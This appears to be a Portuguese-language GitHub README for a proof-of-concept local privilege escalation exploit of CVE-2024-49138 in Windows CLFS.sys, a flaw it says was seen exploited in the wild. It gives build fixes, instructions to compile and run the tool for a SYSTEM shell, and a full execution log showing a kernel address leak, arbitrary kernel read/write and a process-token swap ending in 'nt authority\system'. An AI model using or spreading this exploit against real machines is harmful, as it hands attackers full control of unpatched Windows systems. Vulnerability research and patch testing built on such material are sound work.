bananoname/cve-2024-49138-pocProva de conceito de exploit para CVE-2024-49138 no Windows CLFS.sys, alcançando escalonamento local de privilégios para shell de sistema via manipulação de token.
C:\Program Files\Microsoft Visual Studio\2022\Professional\MSBuild\Microsoft\VC\v170\Microsoft.CppBuild.targets(456,5): error MSB8020: The build tools for Visual Studio 2019 (Platform Toolset = 'v142') cannot be found. To build using the v142 build tools, please install Visual Studio 2019 build tools. Alternatively, you may upgrade to the current Visual Studio tools by selecting the Project menu or right-click the solution, and then selecting "Retarget solution".
1. Abra o Instalador do Visual Studio:
Vá ao Menu Iniciar e abra o Instalador do Visual Studio.
2. Modifique Sua Instalação do Visual Studio:
Selecione Visual Studio 2022 e clique em Modificar.
3. Instale o Conjunto de Ferramentas Necessário:
Na guia Componentes Individuais, procure por: MSVC v142 - VS 2019 C++ x64/x86 build tools Selecione-o e clique em Instalar. 4. Reconstrua o Projeto: Após a instalação, reconstrua seu projeto no Visual Studio 2022.
Prova de Conceito que explora CVE-2024-49138 em CLFS.sys.
A CrowdStrike detectou a vulnerabilidade sendo ativamente explorada por atores maliciosos.
Testado no Windows 11 23h2.
Uma análise completa será fornecida em um post de blog detalhado.
Compile a versão Release x64.
Execute e obtenha um shell de sistema.
PS C:\Users\IEUser\Desktop> whoami
windows11\ieuser
PS C:\Users\IEUser\Desktop> .\CVE-2024-49138-POC.exe
Directory created successfully: C:\temp
Directory created successfully: C:\temp
file opened successfully
AddLogContainer successful
hResource = 0x00007FF7CDB89080
hResource = 0x00007FF7CDB890A0
pResourceData = 0x00007FF7CDB890A0
Resource size: 65536 bytes
Resource written to output.bin successfully.
Kernel Base Address: 0xFFFFF80339800000
Kernel Name: ntoskrnl.exe
NtReadVirtualMemory = 0x00007FFFAF0EFB40
NtWriteVirtualMemory = 0x00007FFFAF0EFAA0
pcclfscontainer = 0x0000000002100000
address_to_write = 0xFFFFC201424CC2B2
Process priority set to REALTIME_PRIORITY_CLASS.
Thread priority set to the highest level: TIME_CRITICAL.
triggering vuln...CreateLogFile failed with error 6601
Process priority set to NORMAL_PRIORITY_CLASS.
Thread priority set to the highest level: THREAD_PRIORITY_NORMAL.
vuln triggered
reading base of ntoskrnl to check we have arbitrary read/write
buf = 0x0000000300905A4D
swapping tokens...
current token address = 0xFFFFC201423EC578
systemtoken = 0xFFFFD401F501C6E9
Overwriting process token..
token swapped. Restoring PreviousMode and spawning system shell...
Microsoft Windows [Version 10.0.22631.2861]
(c) Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Desktop>whoami
nt authority\system
C:\Users\IEUser\Desktop>
